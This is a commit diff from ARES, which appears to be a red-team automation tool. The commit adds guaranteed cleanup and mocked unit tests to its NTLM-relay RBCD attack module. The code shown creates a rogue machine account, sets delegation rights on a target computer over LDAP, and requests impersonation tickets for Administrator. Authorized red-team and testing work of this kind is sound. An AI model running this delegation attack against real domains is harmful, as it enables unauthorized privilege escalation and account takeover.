Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix(resource): ntlm_relay RBCD machine account + DACL guaranteed teardown (MOD-012)

Mafifrizi28e983acc29f
diff --git a/ares/modules/lateral/ntlm_relay.py b/ares/modules/lateral/ntlm_relay.py
index 92e1778..e1a9288 100644
--- a/ares/modules/lateral/ntlm_relay.py
+++ b/ares/modules/lateral/ntlm_relay.py
@@ -767,11 +767,18 @@ class NTLMRelayModule(BaseModule):
machine_password=machine_pass,
)
+ conn = None
+ machine_dn = None
+ target_dn = None
+ orig_dacl = None
+ machine_created = False
+ dacl_modified = False
+
try:
from impacket.ldap import ldap as imp_ldap
from impacket.ldap import ldapasn1 as ldapasn1_impacket
- # Step 1: Add machine account via LDAP
+ # Step 1: Bind via LDAP
import ldap3
import ssl
tls = ldap3.Tls(validate=ssl.CERT_NONE)
@@ -789,7 +796,33 @@ class NTLMRelayModule(BaseModule):
computers_dn = f"CN=Computers,{base_dn}"
machine_dn = f"CN={machine_name.rstrip('$')},{computers_dn}"
- # Create machine account
+ # Step 2: Read initial DACL of target computer before modifications
+ conn.search(base_dn,
+ f"(&(objectClass=computer)(dNSHostName={target_host}))",
+ attributes=["distinguishedName", "objectSid",
+ "msDS-AllowedToActOnBehalfOfOtherIdentity"])
+ if not conn.entries:
+ result.error = f"Target computer {target_host} not found in AD"
+ return result
+ target_dn = str(conn.entries[0].distinguishedName)
+ target_entry = conn.entries[0]
+ dacl_attr = None
+ if hasattr(target_entry, "msDS_AllowedToActOnBehalfOfOtherIdentity"):
+ dacl_attr = target_entry.msDS_AllowedToActOnBehalfOfOtherIdentity
+ elif hasattr(target_entry, "msDS-AllowedToActOnBehalfOfOtherIdentity"):
+ dacl_attr = getattr(target_entry, "msDS-AllowedToActOnBehalfOfOtherIdentity")
+ elif hasattr(target_entry, "__getitem__"):
+ try:
+ dacl_attr = target_entry["msDS-AllowedToActOnBehalfOfOtherIdentity"]
+ except Exception:
+ pass
+
+ if dacl_attr and getattr(dacl_attr, "raw_values", None):
+ orig_dacl = list(dacl_attr.raw_values)
+ else:
+ orig_dacl = None
+
+ # Step 3: Create machine account
attrs = {
"objectClass": ["top", "person", "organizationalPerson",
"user", "computer"],
@@ -809,37 +842,23 @@ class NTLMRelayModule(BaseModule):
)
else:
result.error = f"Machine account creation failed: {desc}"
- conn.unbind()
return result
+ machine_created = True
logger.info("rbcd_machine_created", machine=machine_name, target=target_host)
- # Step 2: Get target computer's DN
- conn.search(base_dn,
- f"(&(objectClass=computer)(dNSHostName={target_host}))",
- attributes=["distinguishedName", "objectSid",
- "msDS-AllowedToActOnBehalfOfOtherIdentity"])
- if not conn.entries:
- result.error = f"Target computer {target_host} not found in AD"
- conn.unbind()
- return result
- target_dn = str(conn.entries[0].distinguishedName)
-
# Get our machine account's SID
conn.search(base_dn,
f"(sAMAccountName={machine_name})",
attributes=["objectSid"])
if not conn.entries:
result.error = "Created machine account not found"
- conn.unbind()
return result
machine_sid_raw = conn.entries[0].objectSid.raw_values[0]
- # Step 3: Build security descriptor for RBCD
- # SD format: ACE allowing our machine account S4U2proxy
+ # Step 4: Build security descriptor for RBCD and set delegation
sd = self._build_rbcd_sd(machine_sid_raw)
- # Set msDS-AllowedToActOnBehalfOfOtherIdentity
conn.modify(target_dn, {
"msDS-AllowedToActOnBehalfOfOtherIdentity": [
(ldap3.MODIFY_REPLACE, [sd])
@@ -850,14 +869,13 @@ class NTLMRelayModule(BaseModule):
f"RBCD delegation set failed: {conn.result.get('description', '')}. "
"Likely insufficient privileges on target object."
)
- conn.unbind()
return result
+ dacl_modified = True
result.delegation_set = True
logger.info("rbcd_delegation_set", target=target_host, machine=machine_name)
- conn.unbind()
- # Step 4: S4U2self + S4U2proxy via impacket
+ # Step 5: S4U2self + S4U2proxy via impacket
ticket_path = self._s4u_attack(
dc=dc, domain=domain,
machine_name=machine_name, machine_pass=machine_pass,
@@ -874,6 +892,38 @@ class NTLMRelayModule(BaseModule):
result.error = f"Required library missing: {exc}"
except Exception as exc:
result.error = str(exc)[:300]
+ finally:
+ # Guaranteed Teardown (Rule 4 / MOD-012): Restore DACL and delete machine account
+ if conn and getattr(conn, "bound", False):
+ if dacl_modified and target_dn:
+ try:
+ if orig_dacl:
+ conn.modify(target_dn, {
+ "msDS-AllowedToActOnBehalfOfOtherIdentity": [
+ (ldap3.MODIFY_REPLACE, orig_dacl)
+ ],
+ })
+ else:
+ conn.modify(target_dn, {
+ "msDS-AllowedToActOnBehalfOfOtherIdentity": [
+ (ldap3.MODIFY_DELETE, [])
+ ],
+ })
+ logger.info("rbcd_dacl_restored", target=target_host)
+ except Exception as dacl_err:
+ logger.error("rbcd_dacl_restore_failed", target=target_host, error=str(dacl_err))
+
+ if machine_created and machine_dn:
+ try:
+ conn.delete(machine_dn)
+ logger.info("rbcd_machine_deleted", machine=machine_dn)
+ except Exception as del_err:
+ logger.error("rbcd_machine_delete_failed", machine=machine_dn, error=str(del_err))
+
+ try:
+ conn.unbind()
+ except Exception:
+ pass
return result
diff --git a/tests/unit/modules/test_ntlm_relay_teardown.py b/tests/unit/modules/test_ntlm_relay_teardown.py
new file mode 100644
index 0000000..c5a6c4b
--- /dev/null
+++ b/tests/unit/modules/test_ntlm_relay_teardown.py
@@ -0,0 +1,140 @@
+from __future__ import annotations
+
+from unittest.mock import MagicMock, patch
+import pytest
+
+from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
+from ares.core.config import AresSettings
+from ares.core.noise import NoiseController
+from ares.modules.lateral.ntlm_relay import NTLMRelayModule
+
+
+def _make_module():
+ settings = AresSettings(
+ ares_secret_key="test-secret-key-min32-chars-here!!",
+ ares_encryption_key="test-enc-key-min32-chars-here-xxx",
+ )
+ campaign = Campaign(
+ name="NTLM-Relay-Teardown-Test",
+ operator="test_operator",
+ scope=[ScopeEntry(cidr="10.0.0.0/24")],
+ noise_profile=NoiseProfile.NORMAL,
+ )
+ noise = NoiseController(campaign)
+ return NTLMRelayModule(settings=settings, campaign=campaign, noise=noise)
+
+
+def _setup_ldap_mock(initial_dacl_bytes=b"ORIGINAL_DACL_SD"):
+ mock_conn = MagicMock()
+ mock_conn.bind.return_value = True
+ mock_conn.bound = True
+ mock_conn.result = {"result": 0, "description": "success"}
+
+ target_entry = MagicMock()
+ target_entry.distinguishedName = "CN=TARGET-SRV,CN=Computers,DC=CORP,DC=LOCAL"
+ if initial_dacl_bytes is not None:
+ target_entry.msDS_AllowedToActOnBehalfOfOtherIdentity.raw_values = [initial_dacl_bytes]
+ else:
+ target_entry.msDS_AllowedToActOnBehalfOfOtherIdentity.raw_values = []
+
+ def mock_search(base, filter_str, attributes=None):
+ if "dNSHostName" in filter_str:
+ mock_conn.entries = [target_entry]
+ elif "sAMAccountName=" in filter_str:
+ machine_entry = MagicMock()
+ machine_entry.objectSid.raw_values = [b"\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00"]
+ mock_conn.entries = [machine_entry]
+ else:
+ mock_conn.entries = []
+
+ mock_conn.search.side_effect = mock_search
+
+ mock_ldap3 = MagicMock()
+ mock_ldap3.Connection.return_value = mock_conn
+ mock_ldap3.NTLM = "NTLM"
+ mock_ldap3.AUTO_BIND_NONE = "AUTO_BIND_NONE"
+ mock_ldap3.MODIFY_REPLACE = "MODIFY_REPLACE"
+ mock_ldap3.MODIFY_DELETE = "MODIFY_DELETE"
+
+ return mock_conn, mock_ldap3
+
+
+async def test_rbcd_teardown_on_success():
+ """MOD-012: machine account deleted and original DACL restored after successful RBCD attack."""
+ mod = _make_module()
+ mock_conn, mock_ldap3 = _setup_ldap_mock(initial_dacl_bytes=b"INITIAL_DACL_BYTES")
+
+ mock_modules = {
+ "ldap3": mock_ldap3,
+ "impacket": MagicMock(),
+ "impacket.ldap": MagicMock(),
+ "impacket.ldap.ldap": MagicMock(),
+ "impacket.ldap.ldapasn1": MagicMock(),
+ }
+
+ with patch.dict("sys.modules", mock_modules), \
+ patch.object(mod, "_s4u_attack", return_value="/tmp/test.ccache"):
+ res = await mod._rbcd_attack(
+ dc="10.0.0.1",
+ domain="corp.local",
+ username="attacker",
+ password="Password123!",
+ target_host="target.corp.local",
+ target_user="Administrator",
+ )
+
+ assert res.success is True
+ # Verify machine account was deleted
+ expected_dn = f"CN={res.machine_account.rstrip('$')},CN=Computers,DC=CORP,DC=LOCAL"
+ mock_conn.delete.assert_called_once_with(expected_dn)
+
+ # Verify DACL was restored to initial value
+ modify_calls = mock_conn.modify.call_args_list
+ assert len(modify_calls) >= 2 # first set delegation, then restore
+ restore_call = modify_calls[-1]
+ assert restore_call.args[0] == "CN=TARGET-SRV,CN=Computers,DC=CORP,DC=LOCAL"
+ changes = restore_call.args[1]["msDS-AllowedToActOnBehalfOfOtherIdentity"]
+ assert changes[0][0] == "MODIFY_REPLACE"
+ assert changes[0][1] == [b"INITIAL_DACL_BYTES"]
+ mock_conn.unbind.assert_called_once()
+
+
+async def test_rbcd_teardown_on_failure_in_middle():
+ """MOD-012: machine account deleted and DACL restored even when S4U fails or raises."""
+ mod = _make_module()
+ mock_conn, mock_ldap3 = _setup_ldap_mock(initial_dacl_bytes=None)
+
+ mock_modules = {
+ "ldap3": mock_ldap3,
+ "impacket": MagicMock(),
+ "impacket.ldap": MagicMock(),
+ "impacket.ldap.ldap": MagicMock(),
+ "impacket.ldap.ldapasn1": MagicMock(),
+ }
+
+ with patch.dict("sys.modules", mock_modules), \
+ patch.object(mod, "_s4u_attack", side_effect=RuntimeError("KDC unreachable during S4U")):
+ res = await mod._rbcd_attack(
+ dc="10.0.0.1",
+ domain="corp.local",
+ username="attacker",
+ password="Password123!",
+ target_host="target.corp.local",
+ target_user="Administrator",
+ )
+
+ assert res.success is False
+ assert "KDC unreachable" in res.error
+
+ # Machine account must still be deleted
+ expected_dn = f"CN={res.machine_account.rstrip('$')},CN=Computers,DC=CORP,DC=LOCAL"
+ mock_conn.delete.assert_called_once_with(expected_dn)
+
+ # When initial DACL was None, MODIFY_DELETE must be called
+ modify_calls = mock_conn.modify.call_args_list
+ restore_call = modify_calls[-1]
+ changes = restore_call.args[1]["msDS-AllowedToActOnBehalfOfOtherIdentity"]
+ assert changes[0][0] == "MODIFY_DELETE"
+ mock_conn.unbind.assert_called_once()